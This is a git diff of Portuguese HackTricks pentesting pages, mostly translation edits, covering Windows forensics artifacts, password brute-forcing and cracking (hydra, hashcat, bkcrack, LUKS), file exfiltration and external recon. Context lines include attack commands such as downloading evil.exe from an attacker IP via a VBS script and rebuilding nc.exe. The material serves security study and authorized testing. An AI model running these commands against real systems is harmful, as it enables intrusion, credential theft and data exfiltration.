cópia não criptografada de um arquivo compactado estiver disponível. Este ataque aproveita o conteúdo conhecido para quebrar a senha do zip, uma vulnerabilidade detalhada no [artigo do HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) e explicada mais a fundo [neste artigo acadêmico](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). No entanto, arquivos zip protegidos com criptografia **AES-256** são imunes a esse ataque de texto simples, demonstrando a importância de escolher métodos de criptografia seguros para dados sensíveis. ## Referências * [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) + +{% hint style="success" %} +Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index 798513e87..a3784ca29 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -55,7 +55,7 @@ Tendo esses arquivos, você pode usar a ferramenta [**Rifiuti**](https://github. ### Cópias de Sombra de Volume -Cópia de Sombra é uma tecnologia incluída no Microsoft Windows que pode criar **cópias de backup** ou instantâneas de arquivos ou volumes de computador, mesmo quando estão em uso. +A Cópia de Sombra é uma tecnologia incluída no Microsoft Windows que pode criar **cópias de backup** ou instantâneas de arquivos ou volumes de computador, mesmo quando estão em uso. Esses backups geralmente estão localizados em `\System Volume Information` na raiz do sistema de arquivos e o nome é composto por **UIDs** mostrados na imagem a seguir: @@ -90,7 +90,7 @@ Quando uma pasta é criada, um link para a pasta, para a pasta pai e a pasta av Esses arquivos de link criados automaticamente **contêm informações sobre a origem** como se é um **arquivo** **ou** uma **pasta**, **tempos MAC** desse arquivo, **informações de volume** de onde o arquivo está armazenado e **pasta do arquivo de destino**. Essas informações podem ser úteis para recuperar esses arquivos caso tenham sido removidos. -Além disso, a **data de criação do link** é a primeira **vez** que o arquivo original foi **usado pela primeira vez** e a **data** **modificada** do arquivo de link é a **última** **vez** que o arquivo de origem foi usado. +Além disso, a **data de criação do link** é a primeira **vez** que o arquivo original foi **usado** e a **data** **modificada** do arquivo de link é a **última** **vez** que o arquivo de origem foi usado. Para inspecionar esses arquivos, você pode usar [**LinkParser**](http://4discovery.com/our-tools/). @@ -111,6 +111,7 @@ Você pode obter as mesmas informações executando a ferramenta CLI do Windows: ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` +```markdown Neste caso, as informações serão salvas dentro de um arquivo CSV. ### Jumplists @@ -127,7 +128,7 @@ Você pode inspecionar os jumplists usando [**JumplistExplorer**](https://ericzi ![](<../../../.gitbook/assets/image (168).png>) -(_Observe que os timestamps fornecidos pelo JumplistExplorer estão relacionados ao próprio arquivo jumplist_) +(_Note que os timestamps fornecidos pelo JumplistExplorer estão relacionados ao próprio arquivo jumplist_) ### Shellbags @@ -141,11 +142,11 @@ Você pode inspecionar os jumplists usando [**JumplistExplorer**](https://ericzi * Pasta Recentes do Microsoft Office * Jumplists -Observe que alguns arquivos LNK, em vez de apontar para o caminho original, apontam para a pasta WPDNSE: +Note que alguns arquivos LNK, em vez de apontar para o caminho original, apontam para a pasta WPDNSE: ![](<../../../.gitbook/assets/image (218).png>) -Os arquivos na pasta WPDNSE são uma cópia dos originais, portanto, não sobreviverão a uma reinicialização do PC e o GUID é retirado de um shellbag. +Os arquivos na pasta WPDNSE são uma cópia dos originais, portanto não sobreviverão a uma reinicialização do PC e o GUID é retirado de um shellbag. ### Informações do Registro @@ -190,7 +191,7 @@ Os emails contêm **2 partes interessantes: Os cabeçalhos e o conteúdo** do em * **Quem** enviou os emails (endereço de email, IP, servidores de email que redirecionaram o email) * **Quando** o email foi enviado -Além disso, dentro dos cabeçalhos `References` e `In-Reply-To`, você pode encontrar o ID das mensagens: +Além disso, dentro dos cabeçalhos `References` e `In-Reply-To` você pode encontrar o ID das mensagens: ![](<../../../.gitbook/assets/image (593).png>) @@ -200,7 +201,7 @@ Este aplicativo salva emails em HTML ou texto. Você pode encontrar os emails de Os **metadados** dos emails e os **contatos** podem ser encontrados dentro do **banco de dados EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Mude a extensão** do arquivo de `.vol` para `.edb` e você pode usar a ferramenta [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) para abri-lo. Dentro da tabela `Message`, você pode ver os emails. +**Mude a extensão** do arquivo de `.vol` para `.edb` e você pode usar a ferramenta [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) para abri-lo. Dentro da tabela `Message` você pode ver os emails. ### Microsoft Outlook @@ -263,7 +264,7 @@ Algumas ferramentas são úteis para analisar os arquivos de registro: ### Recuperando Elemento Excluído -Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que está ocupando seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas. +Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que ocupa seja necessário, não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas. ### Último Tempo de Escrita @@ -271,9 +272,9 @@ Cada Par-Chave contém um **timestamp** indicando a última vez que foi modifica ### SAM -O arquivo/hive **SAM** contém os **hashes de senhas de usuários, grupos e usuários** do sistema. +O arquivo/hive **SAM** contém os **usuários, grupos e hashes de senhas dos usuários** do sistema. -Em `SAM\Domains\Account\Users`, você pode obter o nome de usuário, o RID, o último login, o último logon falhado, o contador de logins, a política de senhas e quando a conta foi criada. Para obter os **hashes**, você também **precisa** do arquivo/hive **SYSTEM**. +Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, o último login, o último logon falhado, o contador de logins, a política de senhas e quando a conta foi criada. Para obter os **hashes**, você também **precisa** do arquivo/hive **SYSTEM**. ### Entradas Interessantes no Registro do Windows @@ -285,11 +286,11 @@ Em `SAM\Domains\Account\Users`, você pode obter o nome de usuário, o RID, o ú ### Processos Básicos do Windows -Neste [post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d), você pode aprender sobre os processos comuns do Windows para detectar comportamentos suspeitos. +Neste [post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) você pode aprender sobre os processos comuns do Windows para detectar comportamentos suspeitos. ### Aplicativos Recentes do Windows -Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps`, você pode subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado e **número de vezes** que foi iniciado. +Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps`, você pode subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado e **número de vezes** que foi lançado. ### BAM (Moderador de Atividade em Segundo Plano) @@ -297,15 +298,16 @@ Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminh ### Windows Prefetch -Prefetching é uma técnica que permite que um computador silenciosamente **busque os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo**, para que os recursos possam ser acessados mais rapidamente. +Prefetching é uma técnica que permite que um computador **busque silenciosamente os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo**, para que os recursos possam ser acessados mais rapidamente. O prefetch do Windows consiste em criar **caches dos programas executados** para poder carregá-los mais rápido. Esses caches são criados como arquivos `.pf` dentro do caminho: `C:\Windows\Prefetch`. Há um limite de 128 arquivos no XP/VISTA/WIN7 e 1024 arquivos no Win8/Win10. -O nome do arquivo é criado como `{program_name}-{hash}.pf` (o hash é baseado no caminho e argumentos do executável). No W10, esses arquivos são comprimidos. Observe que a mera presença do arquivo indica que **o programa foi executado** em algum momento. +O nome do arquivo é criado como `{program_name}-{hash}.pf` (o hash é baseado no caminho e argumentos do executável). No W10, esses arquivos são comprimidos. Note que a mera presença do arquivo indica que **o programa foi executado** em algum momento. O arquivo `C:\Windows\Prefetch\Layout.ini` contém os **nomes das pastas dos arquivos que são pré-carregados**. Este arquivo contém **informações sobre o número de execuções**, **datas** da execução e **arquivos** **abertos** pelo programa. Para inspecionar esses arquivos, você pode usar a ferramenta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +``` ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` @@ -342,7 +344,7 @@ Você pode obter a data deste arquivo usando a ferramenta [**srum\_dump**](https ``` ### AppCompatCache (ShimCache) -O **AppCompatCache**, também conhecido como **ShimCache**, faz parte do **Banco de Dados de Compatibilidade de Aplicações** desenvolvido pela **Microsoft** para lidar com problemas de compatibilidade de aplicações. Este componente do sistema registra várias peças de metadados de arquivos, que incluem: +O **AppCompatCache**, também conhecido como **ShimCache**, faz parte do **Banco de Dados de Compatibilidade de Aplicações** desenvolvido pela **Microsoft** para lidar com problemas de compatibilidade de aplicativos. Este componente do sistema registra várias peças de metadados de arquivos, que incluem: * Caminho completo do arquivo * Tamanho do arquivo @@ -361,9 +363,9 @@ Para analisar as informações armazenadas, a ferramenta [**AppCompatCacheParser ### Amcache -O arquivo **Amcache.hve** é essencialmente um hive de registro que registra detalhes sobre aplicações que foram executadas em um sistema. Ele é tipicamente encontrado em `C:\Windows\AppCompat\Programas\Amcache.hve`. +O arquivo **Amcache.hve** é essencialmente um hive de registro que registra detalhes sobre aplicativos que foram executados em um sistema. Ele é tipicamente encontrado em `C:\Windows\AppCompat\Programas\Amcache.hve`. -Este arquivo é notável por armazenar registros de processos recentemente executados, incluindo os caminhos para os arquivos executáveis e seus hashes SHA1. Essas informações são inestimáveis para rastrear a atividade de aplicações em um sistema. +Este arquivo é notável por armazenar registros de processos executados recentemente, incluindo os caminhos para os arquivos executáveis e seus hashes SHA1. Essas informações são inestimáveis para rastrear a atividade de aplicativos em um sistema. Para extrair e analisar os dados do **Amcache.hve**, a ferramenta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) pode ser usada. O seguinte comando é um exemplo de como usar o AmcacheParser para analisar o conteúdo do arquivo **Amcache.hve** e gerar os resultados em formato CSV: ```bash @@ -405,7 +407,7 @@ As informações que aparecem nos eventos do Windows são: * Timestamp (UTC + 0) * Usuários envolvidos * Hosts envolvidos (nome do host, IP) -* Ativos acessados (arquivos, pastas, impressora, serviços) +* Ativos acessados (arquivos, pastas, impressoras, serviços) Os logs estão localizados em `C:\Windows\System32\config` antes do Windows Vista e em `C:\Windows\System32\winevt\Logs` após o Windows Vista. Antes do Windows Vista, os logs de eventos estavam em formato binário e, após, estão em **formato XML** e usam a extensão **.evtx**. @@ -429,7 +431,7 @@ Eventos de acesso são registrados no arquivo de configuração de segurança lo * **Interativo (2)**: Login direto do usuário. * **Rede (3)**: Acesso a pastas compartilhadas. * **Lote (4)**: Execução de processos em lote. -* **Serviço (5)**: Lançamentos de serviços. +* **Serviço (5)**: Lançamentos de serviço. * **Proxy (6)**: Autenticação proxy. * **Desbloquear (7)**: Tela desbloqueada com uma senha. * **Texto Claro da Rede (8)**: Transmissão de senha em texto claro, muitas vezes do IIS. @@ -460,7 +462,7 @@ Eventos de acesso são registrados no arquivo de configuração de segurança lo #### EventID 6005 e 6006: -* **Inicialização e Desligamento do Sistema**: EventID 6005 indica que o sistema está iniciando, enquanto o EventID 6006 marca seu desligamento. +* **Inicialização e Desligamento do Sistema**: O EventID 6005 indica que o sistema está iniciando, enquanto o EventID 6006 marca seu desligamento. #### EventID 1102: diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 525d61beb..00df91926 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -3,22 +3,23 @@ ### Chaves de Registro do Windows Interessantes {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -### **Versão do Windows e Informações do Proprietário** -- Localizado em **`Software\Microsoft\Windows NT\CurrentVersion`**, você encontrará a versão do Windows, Service Pack, horário de instalação e o nome do proprietário registrado de forma direta. + +### **Informações sobre a Versão do Windows e Proprietário** +- Localizado em **`Software\Microsoft\Windows NT\CurrentVersion`**, você encontrará a versão do Windows, Service Pack, hora da instalação e o nome do proprietário registrado de forma direta. ### **Nome do Computador** - O nome do host é encontrado em **`System\ControlSet001\Control\ComputerName\ComputerName`**. @@ -26,80 +27,82 @@ Aprenda e pratique Hacking GCP: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 1b6becc48..b9f77cd2a 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -18,7 +18,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -178,7 +178,7 @@ legba http.ntlm2 --domain example.org --workstation client --username admin --pa hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` -Para http**s** você deve mudar de "http-post-form" para "**https-post-form"** +Para http**s** você tem que mudar de "http-post-form" para "**https-post-form"** ### **HTTP - CMS --** (W)ordpress, (J)oomla ou (D)rupal ou (M)oodle ```bash @@ -508,9 +508,9 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### Ataque de zip com texto simples conhecido +#### Ataque de zip com texto plano conhecido -Você precisa conhecer o **texto simples** (ou parte do texto simples) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **nomes de arquivos e tamanhos de arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\ +Você precisa conhecer o **texto plano** (ou parte do texto plano) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **nomes de arquivos e tamanhos de arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\ Baixe [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) da página de lançamentos. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip @@ -543,9 +543,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` -### PDF Owner Password +### Senha do Proprietário do PDF -Para quebrar uma senha de proprietário de PDF, verifique isto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Para quebrar a senha do Proprietário do PDF, verifique isto: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -599,7 +599,7 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` -Outro tutorial de Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Outro tutorial de BF Luks: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql ```bash @@ -651,7 +651,7 @@ Obtenha Acesso Hoje: ## Ferramentas -**Exemplos de Hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +**Exemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier ```bash @@ -734,7 +734,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` -* Wordlist + Mask (`-a 6`) / Máscara + Wordlist (`-a 7`) ataque +* Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) ataque ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -787,6 +787,6 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -241,7 +241,7 @@ sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** -Se você pode enviar dados para um servidor SMTP, você pode criar um SMTP para receber os dados com python: +Se você pode enviar dados para um servidor SMTP, pode criar um SMTP para receber os dados com python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` @@ -309,13 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -O programa `debug.exe` não apenas permite a inspeção de binários, mas também possui a **capacidade de reconstruí-los a partir de hex**. Isso significa que, ao fornecer um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante notar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho**. +O programa `debug.exe` não apenas permite a inspeção de binários, mas também tem a **capacidade de reconstruí-los a partir de hex**. Isso significa que, ao fornecer um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante notar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -Então, cole o texto no windows-shell e um arquivo chamado nc.exe será criado. +Então cole o texto no windows-shell e um arquivo chamado nc.exe será criado. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index f4d1d77ca..086ea36f4 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -21,7 +21,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável - {% embed url="https://www.stmcyber.com/careers" %} -## Descobertas de ativos +## Descobertas de Ativos > Então, foi dito a você que tudo que pertence a alguma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui. @@ -34,7 +34,7 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ ### **Aquisições** -Primeiro de tudo, precisamos saber quais **outras empresas são propriedade da empresa principal**.\ +Primeiramente, precisamos saber quais **outras empresas são propriedade da empresa principal**.\ Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\ Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**. @@ -42,10 +42,10 @@ Outra opção é visitar a página da **Wikipedia** da empresa principal e procu ### **ASNs** -Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Autoridade de Números Atribuídos da Internet (IANA)**.\ +Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\ Um **AS** consiste em **blocos** de **endereços IP** que têm uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores. -É interessante descobrir se a **empresa atribuiu algum ASN** para encontrar seus **intervalos de IP.** Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e **procurar por domínios** dentro desses IPs.\ +É interessante descobrir se a **empresa tem algum ASN atribuído** para encontrar seus **intervalos de IP.** Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e **procurar por domínios** dentro desses IPs.\ Você pode **pesquisar** pelo **nome** da empresa, por **IP** ou por **domínio** em [**https://bgp.he.net/**](https://bgp.he.net)**.**\ **Dependendo da região da empresa, esses links podem ser úteis para coletar mais dados:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América do Norte),** [**APNIC**](https://www.apnic.net) **(Ásia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De qualquer forma, provavelmente todas as** informações úteis **(intervalos de IP e Whois)** já aparecem no primeiro link. ```bash @@ -76,7 +76,7 @@ Você pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](htt ### **Procurando vulnerabilidades** Neste ponto, sabemos **todos os ativos dentro do escopo**, então, se você tiver permissão, pode lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) sobre todos os hosts.\ -Além disso, você pode lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e, dependendo do que você encontrar, deve** dar uma olhada neste livro sobre como pentestar vários serviços possíveis em execução.\ +Além disso, você pode lançar alguns [**scans de porta**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como pentestar vários serviços possíveis em execução.\ **Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário **e** senhas **padrão e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domínios @@ -89,25 +89,25 @@ Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada em ### **DNS Reverso** -Como você encontrou todos os intervalos de IP dos domínios, pode tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8) +Como você encontrou todos os intervalos de IP dos domínios, você pode tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` -Para que isso funcione, o administrador deve habilitar manualmente o PTR.\ +Para que isso funcione, o administrador precisa habilitar manualmente o PTR.\ Você também pode usar uma ferramenta online para essas informações: [http://ptrarchive.com/](http://ptrarchive.com) ### **Reverse Whois (loop)** -Dentro de um **whois** você pode encontrar muitas **informações** interessantes, como **nome da organização**, **endereço**, **emails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se realizar **buscas reversas de whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo email aparece).\ +Dentro de um **whois** você pode encontrar muitas **informações** interessantes, como **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se realizar **buscas reversas de whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\ Você pode usar ferramentas online como: * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratuito** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuito** -* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** na web, API não gratuita. +* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** web, API não gratuita. * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 buscas gratuitas**) * [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito @@ -188,17 +188,17 @@ Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem **Shodan** -Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados em busca de novos domínios inesperados no certificado TLS. +Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados para novos domínios inesperados no certificado TLS. Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e então procurar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** a um domínio principal e **subdomínios** deles, bastante incrível. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível. ### **Procurando vulnerabilidades** -Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa. +Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e avisar a empresa. Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\ &#xNAN;_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._ @@ -348,7 +348,7 @@ Você pode encontrar uma **comparação** de 